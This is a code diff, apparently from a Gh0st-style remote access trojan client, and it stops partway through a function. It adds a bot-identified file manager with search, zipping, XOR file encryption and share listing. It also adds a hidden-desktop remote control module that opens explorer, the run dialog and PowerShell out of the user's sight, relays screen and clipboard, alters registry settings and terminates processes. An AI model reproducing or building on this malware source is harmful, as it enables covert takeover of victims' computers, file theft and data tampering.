PUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14,BS_DEFPUSHBUTTON | WS_TABSTOP | WS_VISIBLE DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14,WS_TABSTOP | WS_VISIBLE PUSHBUTTON "End",IDC_BUTTON_END,178,133,54,14
END END
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// //
// DESIGNINFO // DESIGNINFO
@@ -56,6 +55,7 @@ BEGIN
IDD_DIALOG, DIALOG IDD_DIALOG, DIALOG
BEGIN BEGIN
END END
IDD_CHAT, DIALOG IDD_CHAT, DIALOG
BEGIN BEGIN
END END
@@ -103,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
// //
VS_VERSION_INFO VERSIONINFO VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,3,9 FILEVERSION 1,0,4,0
PRODUCTVERSION 1,0,0,1 PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL FILEFLAGSMASK 0x3fL
#ifdef _DEBUG #ifdef _DEBUG
@@ -121,7 +121,7 @@ BEGIN
BEGIN BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE" VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST" VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.3.9" VALUE "FileVersion", "1.0.4.0"
VALUE "InternalName", "ServerDll.dll" VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026" VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll" VALUE "OriginalFilename", "ServerDll.dll"
BIN
View File
Binary file not shown.
File diff suppressed because it is too large. Load diff
+152
View File
@@ -0,0 +1,152 @@
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
#include <sstream>
#include "zip.h"
#pragma once
#include <winioctl.h>
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
#include "MasterEncoder.h"
namespace SimplePluginsFile {
typedef struct {
UINT nFileSize; // 文件大小
UINT nSendSize; // 已发送大小
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
typedef struct {
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
} FILESIZE;
typedef struct {
TCHAR SearchFileName[MAX_PATH];
TCHAR SearchPath[MAX_PATH];
BOOL bEnabledSubfolder;
} FILESEARCH;
typedef struct {
BYTE Token;
int w,h,size;
} FILEPICINFO;
struct SEARCH {
TCHAR TC_disk[8];
TCHAR TC_search[MAX_PATH];
};
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[MAX_PATH];
} FILE_NAME_INFORMATION;
typedef LONG(__stdcall* ZwQueryInformationFile) (
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN ULONG FileInformationClass
);
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
class CFileManager : public CManager
{
public:
MasterEncoder m_encoder;
DWORD dwRet;
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
UINT SendDriveList();
CFileManager(ISocketBase* pClient, int n, void* user);
virtual ~CFileManager();
private:
LPBYTE lpSendPacket;
std::list <std::string> m_UploadList;
BOOL m_bIsWow64;
UINT m_nTransferMode;
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
bool benofrce;
TCHAR* copyfile;
HANDLE ImpersonateLoggedOnUserWrapper();
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer(BOOL bIsUpload);
UINT SendFilesList(TCHAR* lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
void SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
void ExeCompress(BYTE* lpBuffer);
void SendSearchData(LPBYTE lpBuffer);
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
protected:
HANDLE m_hWorkThread;
BOOL bIsStopSearch;
FILESEARCH filesearch;
void StopSearchTheard();
void SendSearchFilesList(LPCTSTR str);
static void WINAPI FindFileThread(LPVOID lparam);
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
TCHAR g_desktopName[MAX_PATH];
ULONG PseudoRand(ULONG* seed);
void GetBotId(TCHAR* botId);
HDESK g_hDesk;;
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
void SendNetHood(); //发送共享文件目录
void encfile(char* in_filename);
void decryptfile(char* in_filename);
bool FnDelPathFile(TCHAR* tc_path);
TCHAR* zippath_t;
HANDLE m_hWorkZIPThread;
BOOL bIsStopZIP;
void StopZIPTheard();
void StartZIP();
static void WINAPI FindZIPThread(LPVOID lparam);
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
//info
void SendFileInfo(TCHAR* filepath,TCHAR * type);
bool ResizePicture(TCHAR* strSource);
TCHAR* volName; // 驱动盘名称
TCHAR* tc_search; // 搜索关键词
HANDLE hVol; // 用于储存驱动盘句柄
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
long counter;
LPBYTE lpBuffer;
char* c_pathname;
};
}
+162
View File
@@ -0,0 +1,162 @@
#include "StdAfx.h"
#include "MasterEncoder.h"
#include <fstream>
#include <string>
#include <iostream>
namespace SimplePluginsFile {
MasterEncoder::MasterEncoder()
{
_codeKey = 100;
_sign = nullptr;
_signLen = 0;
}
MasterEncoder::~MasterEncoder()
{
SAFE_DELETE_AR(_sign);
}
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
{
if (sign && signLen) {
_signLen = signLen;
SAFE_DELETE_AR(_sign);
_sign = new char[signLen];
if (_sign) {
memcpy(_sign, sign, signLen);
} else {
Mprintf("setSignAndKey Failed!\n");
}
}
_codeKey = key;
}
void MasterEncoder::encode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
void MasterEncoder::decode(unsigned char* data, long size)
{
for (long i = 0; i < size; i++) {
data[i] ^= _codeKey;
}
}
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
{
std::ifstream ifs;
ifs.open(filepath, std::ios::in | std::ios::binary);
if (!ifs.is_open()) {
Mprintf("文件打开失败: %s\n", filepath.c_str());
return nullptr;
}
ifs.seekg(0, std::ios_base::end);
size =(long) ifs.tellg();
ifs.seekg(0, std::ios_base::beg);
unsigned char* data = new unsigned char[size];
long count = 0;
while (count < size) {
ifs.read((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("read PDF size = %d\n", size);
ifs.close();
return data;
}
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
{
std::ofstream ofs;
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
if (!ofs.is_open()) {
Mprintf("文件打开失败: %s\n", filePath.c_str());
return;
}
long count = 0;
while (count < size) {
ofs.write((char*)&data[count], sizeof(unsigned char));
count++;
}
Mprintf("save PDF size = %d\n", size);
ofs.close();
}
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
//判断是否已经加密过
if (memcmp(data, _sign, _signLen) == 0) {
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
writePDF(savePath, data, size);
} else {
encode(data, size);
if (_signLen > 0) {
unsigned char* p = new unsigned char[size + _signLen];
memcpy(p, _sign, _signLen);
memcpy(p + _signLen, data, size);
writePDF(savePath, p, size + _signLen);
delete[] p;
} else {
writePDF(savePath, data, size);
}
}
delete[] data;
}
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
{
long size = 0;
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
writePDF(savePath, data, size);
} else if (memcmp(data, _sign, _signLen) == 0) {
unsigned char* p = (data + _signLen);
decode(p, size - _signLen);
writePDF(savePath, p, size - _signLen);
} else {
Mprintf("解密失败: %s\n", pdfPath.c_str());
}
delete[] data;
}
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
{
unsigned char* data = readPDF(pdfPath, size);
if (_signLen == 0) {
decode(data, size);
return data;
} else if (memcmp(data, _sign, _signLen) == 0) {
size -= _signLen;
unsigned char* p = new unsigned char[size];
memcpy(p, data + _signLen, size);
decode(p, size);
delete[] data;
return p;
} else {
return data;
}
}
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <string>
namespace SimplePluginsFile {
class MasterEncoder
{
public:
MasterEncoder();
~MasterEncoder();
void setSignAndKey(char* sign, int signLen, unsigned char key);
void decode(unsigned char* data, long size);
void encode(unsigned char* data, long size);
void writePDF(const std::string& filePath, unsigned char* data, long size);
unsigned char* readPDF(const std::string& filepath, long& size);
public:
void encodePDF(const std::string& pdfPath, const std::string& savePath);
void decodePDF(const std::string& pdfPath, const std::string& savePath);
unsigned char* decode(const std::string& pdfPath, long& size);
private:
unsigned char _codeKey;
char* _sign;
int _signLen;
};
}
+2911
View File
File diff suppressed because it is too large. Load diff
+207
View File
@@ -0,0 +1,207 @@
//
//http://www.codeproject.com/KB/files/zip_utils.aspx
//
#ifndef _zip_H
#define _zip_H
// ZIP functions -- for creating zip files
// This file is a repackaged form of the Info-Zip source code available
// at www.info-zip.org. The original copyright notice may be found in
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
// extend its use in Windows/C++. Also to add encryption and unicode.
#ifndef _unzip_H
DECLARE_HANDLE(HZIP);
#endif
// An HZIP identifies a zip file that is being created
typedef DWORD ZRESULT;
// return codes from any of the zip functions. Listed later.
HZIP CreateZip(const TCHAR* fn, const char* password);
HZIP CreateZip(void* buf, unsigned int len, const char* password);
HZIP CreateZipHandle(HANDLE h, const char* password);
// CreateZip - call this to start the creation of a zip file.
// As the zip is being created, it will be stored somewhere:
// to a pipe: CreateZipHandle(hpipe_write);
// in a file (by handle): CreateZipHandle(hfile);
// in a file (by name): CreateZip("c:\\test.zip");
// in memory: CreateZip(buf, len);
// or in pagefile memory: CreateZip(0, len);
// The final case stores it in memory backed by the system paging file,
// where the zip may not exceed len bytes. This is a bit friendlier than
// allocating memory with new[]: it won't lead to fragmentation, and the
// memory won't be touched unless needed. That means you can give very
// large estimates of the maximum-size without too much worry.
// As for the password, it lets you encrypt every file in the archive.
// (This api doesn't support per-file encryption.)
// Note: because pipes don't allow random access, the structure of a zipfile
// created into a pipe is slightly different from that created into a file
// or memory. In particular, the compressed-size of the item cannot be
// stored in the zipfile until after the item itself. (Also, for an item added
// itself via a pipe, the uncompressed-size might not either be known until
// after.) This is not normally a problem. But if you try to unzip via a pipe
// as well, then the unzipper will not know these things about the item until
// after it has been unzipped. Therefore: for unzippers which don't just write
// each item to disk or to a pipe, but instead pre-allocate memory space into
// which to unzip them, then either you have to create the zip not to a pipe,
// or you have to add items not from a pipe, or at least when adding items
// from a pipe you have to specify the length.
// Note: for windows-ce, you cannot close the handle until after CloseZip.
// but for real windows, the zip makes its own copy of your handle, so you
// can close yours anytime.
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
// ZipAdd - call this for each file to be added to the zip.
// dstzn is the name that the file will be stored as in the zip file.
// The file to be added to the zip can come
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
// from a file: ZipAddHandle(hz,"file.dat", hfile);
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
// (folder): ZipAddFolder(hz,"subdir");
// Note: if adding an item from a pipe, and if also creating the zip file itself
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
// function. This will let the zipfile store the item's size ahead of the
// compressed item itself, which in turn makes it easier when unzipping the
// zipfile from a pipe.
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
// then this function will return information about that memory block.
// buf will receive a pointer to its start, and len its length.
// Note: you can't add any more after calling this.
ZRESULT CloseZip(HZIP hz);
// CloseZip - the zip handle must be closed with this function.
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
// FormatZipMessage - given an error code, formats it as a string.
// It returns the length of the error message. If buf/len points
// to a real buffer, then it also writes as much as possible into there.
// These are the result codes:
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
// The following come from general system stuff (e.g. files not openable)
#define ZR_GENMASK 0x0000FF00
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
#define ZR_WRITE 0x00000400 // a general error writing to the file
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
#define ZR_READ 0x00000800 // a general error reading the file
// The following come from mistakes on the part of the caller
#define ZR_CALLERMASK 0x00FF0000
#define ZR_ARGS 0x00010000 // general mistake with the arguments
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
// The following come from bugs within the zip library itself
#define ZR_BUGMASK 0xFF000000
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
// e.g.
//
// (1) Traditional use, creating a zipfile from existing files
// HZIP hz = CreateZip("c:\\simple1.zip",0);
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
// CloseZip(hz);
//
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
// HZIP hz = CreateZip(0,100000, 0);
// // adding a conventional file...
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
// // adding something from memory...
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
// ZipAdd(hz,"file.dat", buf,1000);
// // adding something from a pipe...
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread); CloseHandle(hread);
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
// { HANDLE hwrite = (HANDLE)dat;
// char buf[1000]={17};
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
// CloseHandle(hwrite);
// return 0;
// }
// // and now that the zip is created, let's do something with it:
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
// CloseHandle(hfz);
// CloseZip(hz);
//
// (3) Handle use, for file handles and pipes
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
// HZIP hz = CreateZipHandle(hzwrite,0);
// // ... add to it
// CloseZip(hz);
// CloseHandle(hzwrite);
// WaitForSingleObject(hthread,INFINITE);
// CloseHandle(hthread);
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
// { HANDLE hread = (HANDLE)dat;
// char buf[1000];
// while (true)
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
// // ... and do something with this zip data we're receiving
// if (red==0) break;
// }
// CloseHandle(hread);
// return 0;
// }
// Now we indulge in a little skullduggery so that the code works whether
// the user has included just zip or both zip and unzip.
// Idea: if header files for both zip and unzip are present, then presumably
// the cpp files for zip and unzip are both present, so we will call
// one or the other of them based on a dynamic choice. If the header file
// for only one is present, then we will bind to that particular one.
ZRESULT CloseZipZ(HZIP hz);
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
bool IsZipHandleZ(HZIP hz);
#ifdef _unzip_H
#undef CloseZip
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
#else
#define CloseZip CloseZipZ
#define FormatZipMessage FormatZipMessageZ
#endif
#endif
+14
View File
@@ -194,6 +194,13 @@
<ClCompile Include="ClientDll.cpp" /> <ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -250,6 +257,13 @@
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" /> <ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
